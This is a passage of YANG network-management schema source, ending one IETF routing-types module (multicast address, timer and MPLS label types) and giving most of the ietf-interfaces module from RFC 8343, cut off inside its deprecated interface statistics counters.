  /*** Collection of types common to multicast ***/

  typedef ipv4-multicast-group-address {
    type inet:ipv4-address {
      pattern '(2((2[4-9])|(3[0-9]))\.).*';
    }
    description
      "This type represents an IPv4 multicast group address,
       which is in the range of 224.0.0.0 to 239.255.255.255.";
    reference
      "RFC 1112: Host Extensions for IP Multicasting.";
  }

  typedef ipv6-multicast-group-address {
    type inet:ipv6-address {
      pattern '(([fF]{2}[0-9a-fA-F]{2}):).*';
    }
    description
      "This type represents an IPv6 multicast group address,
       which is in the range of ff00::/8.";
    reference
      "RFC 4291: IP Version 6 Addressing Architecture.  Section 2.7.
       RFC 7346: IPv6 Multicast Address Scopes.";
  }

  typedef ip-multicast-group-address {
    type union {
      type ipv4-multicast-group-address;
      type ipv6-multicast-group-address;
    }
    description
      "This type represents a version-neutral IP multicast group
       address.  The format of the textual representation implies
       the IP version.";
  }

  typedef ipv4-multicast-source-address {
    type union {
      type enumeration {
        enum * {
          description
            "Any source address.";
        }
      }
      type inet:ipv4-address;
    }
    description
      "Multicast source IPv4 address type.";
  }

  typedef ipv6-multicast-source-address {
    type union {
      type enumeration {
        enum * {
          description
            "Any source address.";
        }
      }
      type inet:ipv6-address;
    }
    description
      "Multicast source IPv6 address type.";
  }

  /*** Collection of types common to protocols ***/

  typedef bandwidth-ieee-float32 {
    type string {
      pattern
        '0[xX](0((\.0?)?[pP](\+)?0?|(\.0?))|'
      + '1(\.([0-9a-fA-F]{0,5}[02468aAcCeE]?)?)?[pP](\+)?(12[0-7]|'
      + '1[01][0-9]|0?[0-9]?[0-9])?)';
    }
    description
      "Bandwidth in IEEE 754 floating-point 32-bit binary format:
       (-1)**(S) * 2**(Exponent-127) * (1 + Fraction),
       where Exponent uses 8 bits and Fraction uses 23 bits.
       The units are octets per second.
       The encoding format is the external hexadecimal-significant
       character sequences specified in IEEE 754 and ISO/IEC C99.
       The format is restricted to be normalized, non-negative, and
       non-fraction: 0x1.hhhhhhp{+}d, 0X1.HHHHHHP{+}D, or 0x0p0,
       where 'h' and 'H' are hexadecimal digits and 'd' and 'D' are
       integers in the range of [0..127].
       When six hexadecimal digits are used for 'hhhhhh' or
       'HHHHHH', the least significant digit must be an even
       number.  'x' and 'X' indicate hexadecimal; 'p' and 'P'
       indicate a power of two.  Some examples are 0x0p0, 0x1p10,
       and 0x1.abcde2p+20.";
    reference
      "IEEE Std 754-2008: IEEE Standard for Floating-Point
       Arithmetic.
       ISO/IEC C99: Information technology - Programming
       Languages - C.";
  }

  typedef link-access-type {
    type enumeration {
      enum broadcast {
        description
          "Specify broadcast multi-access network.";
      }
      enum non-broadcast-multiaccess {
        description
          "Specify Non-Broadcast Multi-Access (NBMA) network.";
      }
      enum point-to-multipoint {
        description
          "Specify point-to-multipoint network.";
      }
      enum point-to-point {
        description
          "Specify point-to-point network.";
      }
    }
    description
      "Link access type.";
  }

  typedef timer-multiplier {
    type uint8;
    description
      "The number of timer value intervals that should be
       interpreted as a failure.";
  }

  typedef timer-value-seconds16 {
    type union {
      type uint16 {
        range "1..65535";
      }
      type enumeration {
        enum infinity {
          description
            "The timer is set to infinity.";
        }
        enum not-set {
          description
            "The timer is not set.";
        }
      }
    }
    units "seconds";
    description
      "Timer value type, in seconds (16-bit range).";
  }

  typedef timer-value-seconds32 {
    type union {
      type uint32 {
        range "1..4294967295";
      }
      type enumeration {
        enum infinity {
          description
            "The timer is set to infinity.";
        }
        enum not-set {
          description
            "The timer is not set.";
        }
      }
    }
    units "seconds";
    description
      "Timer value type, in seconds (32-bit range).";
  }

  typedef timer-value-milliseconds {
    type union {
      type uint32 {
        range "1..4294967295";
      }
      type enumeration {
        enum infinity {
          description
            "The timer is set to infinity.";
        }
        enum not-set {
          description
            "The timer is not set.";
        }
      }
    }
    units "milliseconds";
    description
      "Timer value type, in milliseconds.";
  }

  typedef percentage {
    type uint8 {
      range "0..100";
    }
    description
      "Integer indicating a percentage value.";
  }

  typedef timeticks64 {
    type uint64;
    description
      "This type is based on the timeticks type defined in
       RFC 6991, but with 64-bit width.  It represents the time,
       modulo 2^64, in hundredths of a second between two epochs.";
    reference
      "RFC 6991: Common YANG Data Types.";
  }

  typedef uint24 {
    type uint32 {
      range "0..16777215";
    }
    description
      "24-bit unsigned integer.";
  }

  /*** Collection of types related to MPLS/GMPLS ***/

  typedef generalized-label {
    type binary;
    description
      "Generalized Label.  Nodes sending and receiving the
       Generalized Label are aware of the link-specific
       label context and type.";
    reference
      "RFC 3471: Generalized Multi-Protocol Label Switching (GMPLS)
       Signaling Functional Description.  Section 3.2.";
  }

  typedef mpls-label-special-purpose {
    type identityref {
      base mpls-label-special-purpose-value;
    }
    description
      "This type represents the special-purpose MPLS label values.";
    reference
      "RFC 3032: MPLS Label Stack Encoding.
       RFC 7274: Allocating and Retiring Special-Purpose MPLS
       Labels.";
  }

  typedef mpls-label-general-use {
    type uint32 {
      range "16..1048575";
    }
    description
      "The 20-bit label value in an MPLS label stack as specified
       in RFC 3032.  This label value does not include the
       encodings of Traffic Class and TTL (Time to Live).
       The label range specified by this type is for general use,
       with special-purpose MPLS label values excluded.";
    reference
      "RFC 3032: MPLS Label Stack Encoding.";
  }

  typedef mpls-label {
    type union {
      type mpls-label-special-purpose;
      type mpls-label-general-use;
    }
    description
      "The 20-bit label value in an MPLS label stack as specified
       in RFC 3032.  This label value does not include the
       encodings of Traffic Class and TTL.";
    reference
      "RFC 3032: MPLS Label Stack Encoding.";
  }

  /*** Groupings **/

  grouping mpls-label-stack {
    description
      "This grouping specifies an MPLS label stack.  The label
       stack is encoded as a list of label stack entries.  The
       list key is an identifier that indicates the relative
       ordering of each entry, with the lowest-value identifier
       corresponding to the top of the label stack.";
    container mpls-label-stack {
      description
        "Container for a list of MPLS label stack entries.";
      list entry {
        key "id";
        description
          "List of MPLS label stack entries.";
        leaf id {
          type uint8;
          description
            "Identifies the entry in a sequence of MPLS label
             stack entries.  An entry with a smaller identifier
             value precedes an entry with a larger identifier
             value in the label stack.  The value of this ID has
             no semantic meaning other than relative ordering
             and referencing the entry.";
        }
        leaf label {
          type rt-types:mpls-label;
          description
            "Label value.";
        }

        leaf ttl {
          type uint8;
          description
            "Time to Live (TTL).";
          reference
            "RFC 3032: MPLS Label Stack Encoding.";
        }
        leaf traffic-class {
          type uint8 {
            range "0..7";
          }
          description
            "Traffic Class (TC).";
          reference
            "RFC 5462: Multiprotocol Label Switching (MPLS) Label
             Stack Entry: 'EXP' Field Renamed to 'Traffic Class'
             Field.";
        }
      }
    }
  }

  grouping vpn-route-targets {
    description
      "A grouping that specifies Route Target import-export rules
       used in BGP-enabled VPNs.";
    reference
      "RFC 4364: BGP/MPLS IP Virtual Private Networks (VPNs).
       RFC 4664: Framework for Layer 2 Virtual Private Networks
       (L2VPNs).";
    list vpn-target {
      key "route-target";
      description
        "List of Route Targets.";
      leaf route-target {
        type rt-types:route-target;
        description
          "Route Target value.";
      }
      leaf route-target-type {
        type rt-types:route-target-type;
        mandatory true;
        description
          "Import/export type of the Route Target.";
      }
    }
  }
}
ietf-interfaces2018-02-20module ietf-interfaces {
  yang-version 1.1;
  namespace "urn:ietf:params:xml:ns:yang:ietf-interfaces";
  prefix if;

  import ietf-yang-types {
    prefix yang;
  }

  organization
    "IETF NETMOD (Network Modeling) Working Group";

  contact
    "WG Web:   <https://datatracker.ietf.org/wg/netmod/>
     WG List:  <mailto:netmod@ietf.org>

     Editor:   Martin Bjorklund
               <mailto:mbj@tail-f.com>";

  description
    "This module contains a collection of YANG definitions for
     managing network interfaces.

     Copyright (c) 2018 IETF Trust and the persons identified as
     authors of the code.  All rights reserved.

     Redistribution and use in source and binary forms, with or
     without modification, is permitted pursuant to, and subject
     to the license terms contained in, the Simplified BSD License
     set forth in Section 4.c of the IETF Trust's Legal Provisions
     Relating to IETF Documents
     (https://trustee.ietf.org/license-info).

     This version of this YANG module is part of RFC 8343; see
     the RFC itself for full legal notices.";

  revision 2018-02-20 {
    description
      "Updated to support NMDA.";
    reference
      "RFC 8343: A YANG Data Model for Interface Management";
  }

  revision 2014-05-08 {
    description
      "Initial revision.";
    reference
      "RFC 7223: A YANG Data Model for Interface Management";
  }

  /*
   * Typedefs
   */

  typedef interface-ref {
    type leafref {
      path "/if:interfaces/if:interface/if:name";
    }
    description
      "This type is used by data models that need to reference
       interfaces.";
  }

  /*
   * Identities
   */

  identity interface-type {
    description
      "Base identity from which specific interface types are
       derived.";
  }

  /*
   * Features
   */

  feature arbitrary-names {
    description
      "This feature indicates that the device allows user-controlled
       interfaces to be named arbitrarily.";
  }
  feature pre-provisioning {
    description
      "This feature indicates that the device supports
       pre-provisioning of interface configuration, i.e., it is
       possible to configure an interface whose physical interface
       hardware is not present on the device.";
  }
  feature if-mib {
    description
      "This feature indicates that the device implements
       the IF-MIB.";
    reference
      "RFC 2863: The Interfaces Group MIB";
  }

  /*
   * Data nodes
   */

  container interfaces {
    description
      "Interface parameters.";

    list interface {
      key "name";

      description
        "The list of interfaces on the device.

         The status of an interface is available in this list in the
         operational state.  If the configuration of a
         system-controlled interface cannot be used by the system
         (e.g., the interface hardware present does not match the
         interface type), then the configuration is not applied to
         the system-controlled interface shown in the operational
         state.  If the configuration of a user-controlled interface
         cannot be used by the system, the configured interface is
         not instantiated in the operational state.

         System-controlled interfaces created by the system are
         always present in this list in the operational state,
         whether or not they are configured.";

     leaf name {
        type string;
        description
          "The name of the interface.

           A device MAY restrict the allowed values for this leaf,
           possibly depending on the type of the interface.
           For system-controlled interfaces, this leaf is the
           device-specific name of the interface.

           If a client tries to create configuration for a
           system-controlled interface that is not present in the
           operational state, the server MAY reject the request if
           the implementation does not support pre-provisioning of
           interfaces or if the name refers to an interface that can
           never exist in the system.  A Network Configuration
           Protocol (NETCONF) server MUST reply with an rpc-error
           with the error-tag 'invalid-value' in this case.

           If the device supports pre-provisioning of interface
           configuration, the 'pre-provisioning' feature is
           advertised.

           If the device allows arbitrarily named user-controlled
           interfaces, the 'arbitrary-names' feature is advertised.

           When a configured user-controlled interface is created by
           the system, it is instantiated with the same name in the
           operational state.

           A server implementation MAY map this leaf to the ifName
           MIB object.  Such an implementation needs to use some
           mechanism to handle the differences in size and characters
           allowed between this leaf and ifName.  The definition of
           such a mechanism is outside the scope of this document.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifName";
      }

      leaf description {
        type string;
        description
          "A textual description of the interface.

           A server implementation MAY map this leaf to the ifAlias
           MIB object.  Such an implementation needs to use some
           mechanism to handle the differences in size and characters
           allowed between this leaf and ifAlias.  The definition of
           such a mechanism is outside the scope of this document.

           Since ifAlias is defined to be stored in non-volatile
           storage, the MIB implementation MUST map ifAlias to the
           value of 'description' in the persistently stored
           configuration.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifAlias";
      }

      leaf type {
        type identityref {
          base interface-type;
        }
        mandatory true;
        description
          "The type of the interface.

           When an interface entry is created, a server MAY
           initialize the type leaf with a valid value, e.g., if it
           is possible to derive the type from the name of the
           interface.

           If a client tries to set the type of an interface to a
           value that can never be used by the system, e.g., if the
           type is not supported or if the type does not match the
           name of the interface, the server MUST reject the request.
           A NETCONF server MUST reply with an rpc-error with the
           error-tag 'invalid-value' in this case.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifType";
      }

      leaf enabled {
        type boolean;
        default "true";
        description
          "This leaf contains the configured, desired state of the
           interface.

           Systems that implement the IF-MIB use the value of this
           leaf in the intended configuration to set
           IF-MIB.ifAdminStatus to 'up' or 'down' after an ifEntry
           has been initialized, as described in RFC 2863.

           Changes in this leaf in the intended configuration are
           reflected in ifAdminStatus.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifAdminStatus";
      }

      leaf link-up-down-trap-enable {
        if-feature if-mib;
        type enumeration {
          enum enabled {
            value 1;
            description
              "The device will generate linkUp/linkDown SNMP
               notifications for this interface.";
          }
          enum disabled {
            value 2;
            description
              "The device will not generate linkUp/linkDown SNMP
               notifications for this interface.";
          }
        }
        description
          "Controls whether linkUp/linkDown SNMP notifications
           should be generated for this interface.

           If this node is not configured, the value 'enabled' is
           operationally used by the server for interfaces that do
           not operate on top of any other interface (i.e., there are
           no 'lower-layer-if' entries), and 'disabled' otherwise.";
        reference
          "RFC 2863: The Interfaces Group MIB -
                     ifLinkUpDownTrapEnable";
      }

      leaf admin-status {
        if-feature if-mib;
        type enumeration {
          enum up {
            value 1;
            description
              "Ready to pass packets.";
          }
          enum down {
            value 2;
            description
              "Not ready to pass packets and not in some test mode.";
          }
          enum testing {
            value 3;
            description
              "In some test mode.";
          }
        }
        config false;
        mandatory true;
        description
          "The desired state of the interface.

           This leaf has the same read semantics as ifAdminStatus.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifAdminStatus";
      }

      leaf oper-status {
        type enumeration {
          enum up {
            value 1;
            description
              "Ready to pass packets.";
          }
          enum down {
            value 2;

            description
              "The interface does not pass any packets.";
          }
          enum testing {
            value 3;
            description
              "In some test mode.  No operational packets can
               be passed.";
          }
          enum unknown {
            value 4;
            description
              "Status cannot be determined for some reason.";
          }
          enum dormant {
            value 5;
            description
              "Waiting for some external event.";
          }
          enum not-present {
            value 6;
            description
              "Some component (typically hardware) is missing.";
          }
          enum lower-layer-down {
            value 7;
            description
              "Down due to state of lower-layer interface(s).";
          }
        }
        config false;
        mandatory true;
        description
          "The current operational state of the interface.

           This leaf has the same semantics as ifOperStatus.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifOperStatus";
      }

      leaf last-change {
        type yang:date-and-time;
        config false;
        description
          "The time the interface entered its current operational
           state.  If the current state was entered prior to the
           last re-initialization of the local network management
           subsystem, then this node is not present.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifLastChange";
      }

      leaf if-index {
        if-feature if-mib;
        type int32 {
          range "1..2147483647";
        }
        config false;
        mandatory true;
        description
          "The ifIndex value for the ifEntry represented by this
           interface.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifIndex";
      }

      leaf phys-address {
        type yang:phys-address;
        config false;
        description
          "The interface's address at its protocol sub-layer.  For
           example, for an 802.x interface, this object normally
           contains a Media Access Control (MAC) address.  The
           interface's media-specific modules must define the bit
           and byte ordering and the format of the value of this
           object.  For interfaces that do not have such an address
           (e.g., a serial line), this node is not present.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifPhysAddress";
      }

      leaf-list higher-layer-if {
        type interface-ref;
        config false;
        description
          "A list of references to interfaces layered on top of this
           interface.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifStackTable";
      }

      leaf-list lower-layer-if {
        type interface-ref;
        config false;

        description
          "A list of references to interfaces layered underneath this
           interface.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifStackTable";
      }

      leaf speed {
        type yang:gauge64;
        units "bits/second";
        config false;
        description
            "An estimate of the interface's current bandwidth in bits
             per second.  For interfaces that do not vary in
             bandwidth or for those where no accurate estimation can
             be made, this node should contain the nominal bandwidth.
             For interfaces that have no concept of bandwidth, this
             node is not present.";
        reference
          "RFC 2863: The Interfaces Group MIB -
                     ifSpeed, ifHighSpeed";
      }

      container statistics {
        config false;
        description
          "A collection of interface-related statistics objects.";

        leaf discontinuity-time {
          type yang:date-and-time;
          mandatory true;
          description
            "The time on the most recent occasion at which any one or
             more of this interface's counters suffered a
             discontinuity.  If no such discontinuities have occurred
             since the last re-initialization of the local management
             subsystem, then this node contains the time the local
             management subsystem re-initialized itself.";
        }

        leaf in-octets {
          type yang:counter64;
          description
            "The total number of octets received on the interface,
             including framing characters.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifHCInOctets";
        }

        leaf in-unicast-pkts {
          type yang:counter64;
          description
            "The number of packets, delivered by this sub-layer to a
             higher (sub-)layer, that were not addressed to a
             multicast or broadcast address at this sub-layer.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifHCInUcastPkts";
        }

        leaf in-broadcast-pkts {
          type yang:counter64;
          description
            "The number of packets, delivered by this sub-layer to a
             higher (sub-)layer, that were addressed to a broadcast
             address at this sub-layer.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB -
                       ifHCInBroadcastPkts";
        }

        leaf in-multicast-pkts {
          type yang:counter64;
          description
            "The number of packets, delivered by this sub-layer to a
             higher (sub-)layer, that were addressed to a multicast
             address at this sub-layer.  For a MAC-layer protocol,
             this includes both Group and Functional addresses.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB -
                       ifHCInMulticastPkts";
        }

        leaf in-discards {
          type yang:counter32;
          description
            "The number of inbound packets that were chosen to be
             discarded even though no errors had been detected to
             prevent their being deliverable to a higher-layer
             protocol.  One possible reason for discarding such a
             packet could be to free up buffer space.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifInDiscards";
        }

        leaf in-errors {
          type yang:counter32;
          description
            "For packet-oriented interfaces, the number of inbound
             packets that contained errors preventing them from being
             deliverable to a higher-layer protocol.  For character-
             oriented or fixed-length interfaces, the number of
             inbound transmission units that contained errors
             preventing them from being deliverable to a higher-layer
             protocol.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifInErrors";
        }

        leaf in-unknown-protos {
          type yang:counter32;

          description
            "For packet-oriented interfaces, the number of packets
             received via the interface that were discarded because
             of an unknown or unsupported protocol.  For
             character-oriented or fixed-length interfaces that
             support protocol multiplexing, the number of
             transmission units received via the interface that were
             discarded because of an unknown or unsupported protocol.
             For any interface that does not support protocol
             multiplexing, this counter is not present.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifInUnknownProtos";
        }

        leaf out-octets {
          type yang:counter64;
          description
            "The total number of octets transmitted out of the
             interface, including framing characters.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifHCOutOctets";
        }

        leaf out-unicast-pkts {
          type yang:counter64;
          description
            "The total number of packets that higher-level protocols
             requested be transmitted and that were not addressed
             to a multicast or broadcast address at this sub-layer,
             including those that were discarded or not sent.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifHCOutUcastPkts";
        }

        leaf out-broadcast-pkts {
          type yang:counter64;
          description
            "The total number of packets that higher-level protocols
             requested be transmitted and that were addressed to a
             broadcast address at this sub-layer, including those
             that were discarded or not sent.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB -
                       ifHCOutBroadcastPkts";
        }

        leaf out-multicast-pkts {
          type yang:counter64;
          description
            "The total number of packets that higher-level protocols
             requested be transmitted and that were addressed to a
             multicast address at this sub-layer, including those
             that were discarded or not sent.  For a MAC-layer
             protocol, this includes both Group and Functional
             addresses.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB -
                       ifHCOutMulticastPkts";
        }

        leaf out-discards {
          type yang:counter32;
          description
            "The number of outbound packets that were chosen to be
             discarded even though no errors had been detected to
             prevent their being transmitted.  One possible reason
             for discarding such a packet could be to free up buffer
             space.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifOutDiscards";
        }

        leaf out-errors {
          type yang:counter32;
          description
            "For packet-oriented interfaces, the number of outbound
             packets that could not be transmitted because of errors.
             For character-oriented or fixed-length interfaces, the
             number of outbound transmission units that could not be
             transmitted because of errors.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifOutErrors";
        }
      }

    }
  }

  /*
   * Legacy typedefs
   */

  typedef interface-state-ref {
    type leafref {
      path "/if:interfaces-state/if:interface/if:name";
    }
    status deprecated;
    description
      "This type is used by data models that need to reference
       the operationally present interfaces.";
  }

  /*
   * Legacy operational state data nodes
   */

  container interfaces-state {
    config false;
    status deprecated;
    description
      "Data nodes for the operational state of interfaces.";

    list interface {
      key "name";
      status deprecated;

      description
        "The list of interfaces on the device.

         System-controlled interfaces created by the system are
         always present in this list, whether or not they are
         configured.";

      leaf name {
        type string;
        status deprecated;
        description
          "The name of the interface.

           A server implementation MAY map this leaf to the ifName
           MIB object.  Such an implementation needs to use some
           mechanism to handle the differences in size and characters
           allowed between this leaf and ifName.  The definition of
           such a mechanism is outside the scope of this document.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifName";
      }

      leaf type {
        type identityref {
          base interface-type;
        }
        mandatory true;
        status deprecated;
        description
          "The type of the interface.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifType";
      }

      leaf admin-status {
        if-feature if-mib;
        type enumeration {
          enum up {
            value 1;
            description
              "Ready to pass packets.";
          }
          enum down {
            value 2;
            description
              "Not ready to pass packets and not in some test mode.";
          }
          enum testing {
            value 3;
            description
              "In some test mode.";
          }
        }
        mandatory true;
        status deprecated;
        description
          "The desired state of the interface.

           This leaf has the same read semantics as ifAdminStatus.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifAdminStatus";
      }

      leaf oper-status {
        type enumeration {
          enum up {
            value 1;
            description
              "Ready to pass packets.";
          }
          enum down {
            value 2;
            description
              "The interface does not pass any packets.";
          }
          enum testing {
            value 3;
            description
              "In some test mode.  No operational packets can
               be passed.";
          }
          enum unknown {
            value 4;
            description
              "Status cannot be determined for some reason.";
          }
          enum dormant {
            value 5;
            description
              "Waiting for some external event.";
          }
          enum not-present {
            value 6;
            description
              "Some component (typically hardware) is missing.";
          }
          enum lower-layer-down {
            value 7;
            description
              "Down due to state of lower-layer interface(s).";
          }
        }
        mandatory true;
        status deprecated;
        description
          "The current operational state of the interface.

           This leaf has the same semantics as ifOperStatus.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifOperStatus";
      }

      leaf last-change {
        type yang:date-and-time;
        status deprecated;
        description
          "The time the interface entered its current operational
           state.  If the current state was entered prior to the
           last re-initialization of the local network management
           subsystem, then this node is not present.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifLastChange";
      }

      leaf if-index {
        if-feature if-mib;
        type int32 {
          range "1..2147483647";
        }
        mandatory true;
        status deprecated;
        description
          "The ifIndex value for the ifEntry represented by this
           interface.";

        reference
          "RFC 2863: The Interfaces Group MIB - ifIndex";
      }

      leaf phys-address {
        type yang:phys-address;
        status deprecated;
        description
          "The interface's address at its protocol sub-layer.  For
           example, for an 802.x interface, this object normally
           contains a Media Access Control (MAC) address.  The
           interface's media-specific modules must define the bit
           and byte ordering and the format of the value of this
           object.  For interfaces that do not have such an address
           (e.g., a serial line), this node is not present.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifPhysAddress";
      }

      leaf-list higher-layer-if {
        type interface-state-ref;
        status deprecated;
        description
          "A list of references to interfaces layered on top of this
           interface.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifStackTable";
      }

      leaf-list lower-layer-if {
        type interface-state-ref;
        status deprecated;
        description
          "A list of references to interfaces layered underneath this
           interface.";
        reference
          "RFC 2863: The Interfaces Group MIB - ifStackTable";
      }

      leaf speed {
        type yang:gauge64;
        units "bits/second";
        status deprecated;
        description
            "An estimate of the interface's current bandwidth in bits
             per second.  For interfaces that do not vary in
             bandwidth or for those where no accurate estimation can

             be made, this node should contain the nominal bandwidth.
             For interfaces that have no concept of bandwidth, this
             node is not present.";
        reference
          "RFC 2863: The Interfaces Group MIB -
                     ifSpeed, ifHighSpeed";
      }

      container statistics {
        status deprecated;
        description
          "A collection of interface-related statistics objects.";

        leaf discontinuity-time {
          type yang:date-and-time;
          mandatory true;
          status deprecated;
          description
            "The time on the most recent occasion at which any one or
             more of this interface's counters suffered a
             discontinuity.  If no such discontinuities have occurred
             since the last re-initialization of the local management
             subsystem, then this node contains the time the local
             management subsystem re-initialized itself.";
        }

        leaf in-octets {
          type yang:counter64;
          status deprecated;
          description
            "The total number of octets received on the interface,
             including framing characters.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifHCInOctets";
        }

        leaf in-unicast-pkts {
          type yang:counter64;
          status deprecated;
          description
            "The number of packets, delivered by this sub-layer to a
             higher (sub-)layer, that were not addressed to a
             multicast or broadcast address at this sub-layer.
             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifHCInUcastPkts";
        }

        leaf in-broadcast-pkts {
          type yang:counter64;
          status deprecated;
          description
            "The number of packets, delivered by this sub-layer to a
             higher (sub-)layer, that were addressed to a broadcast
             address at this sub-layer.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB -
                       ifHCInBroadcastPkts";
        }

        leaf in-multicast-pkts {
          type yang:counter64;
          status deprecated;
          description
            "The number of packets, delivered by this sub-layer to a
             higher (sub-)layer, that were addressed to a multicast
             address at this sub-layer.  For a MAC-layer protocol,
             this includes both Group and Functional addresses.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB -
                       ifHCInMulticastPkts";
        }

        leaf in-discards {
          type yang:counter32;
          status deprecated;

          description
            "The number of inbound packets that were chosen to be
             discarded even though no errors had been detected to
             prevent their being deliverable to a higher-layer
             protocol.  One possible reason for discarding such a
             packet could be to free up buffer space.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifInDiscards";
        }

        leaf in-errors {
          type yang:counter32;
          status deprecated;
          description
            "For packet-oriented interfaces, the number of inbound
             packets that contained errors preventing them from being
             deliverable to a higher-layer protocol.  For character-
             oriented or fixed-length interfaces, the number of
             inbound transmission units that contained errors
             preventing them from being deliverable to a higher-layer
             protocol.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifInErrors";
        }

        leaf in-unknown-protos {
          type yang:counter32;
          status deprecated;
          description
            "For packet-oriented interfaces, the number of packets
             received via the interface that were discarded because
             of an unknown or unsupported protocol.  For
             character-oriented or fixed-length interfaces that
             support protocol multiplexing, the number of
             transmission units received via the interface that were
             discarded because of an unknown or unsupported protocol.
             For any interface that does not support protocol
             multiplexing, this counter is not present.
             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifInUnknownProtos";
        }

        leaf out-octets {
          type yang:counter64;
          status deprecated;
          description
            "The total number of octets transmitted out of the
             interface, including framing characters.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifHCOutOctets";
        }

        leaf out-unicast-pkts {
          type yang:counter64;
          status deprecated;
          description
            "The total number of packets that higher-level protocols
             requested be transmitted and that were not addressed
             to a multicast or broadcast address at this sub-layer,
             including those that were discarded or not sent.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifHCOutUcastPkts";
        }

        leaf out-broadcast-pkts {
          type yang:counter64;
          status deprecated;

          description
            "The total number of packets that higher-level protocols
             requested be transmitted and that were addressed to a
             broadcast address at this sub-layer, including those
             that were discarded or not sent.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB -
                       ifHCOutBroadcastPkts";
        }

        leaf out-multicast-pkts {
          type yang:counter64;
          status deprecated;
          description
            "The total number of packets that higher-level protocols
             requested be transmitted and that were addressed to a
             multicast address at this sub-layer, including those
             that were discarded or not sent.  For a MAC-layer
             protocol, this includes both Group and Functional
             addresses.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB -
                       ifHCOutMulticastPkts";
        }

        leaf out-discards {
          type yang:counter32;
          status deprecated;
          description
            "The number of outbound packets that were chosen to be
             discarded even though no errors had been detected to
             prevent their being transmitted.  One possible reason
             for discarding such a packet could be to free up buffer
             space.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifOutDiscards";
        }

        leaf out-errors {
          type yang:counter32;
          status deprecated;
          description
            "For packet-oriented interfaces, the number of outbound
             packets that could not be transmitted because of errors.
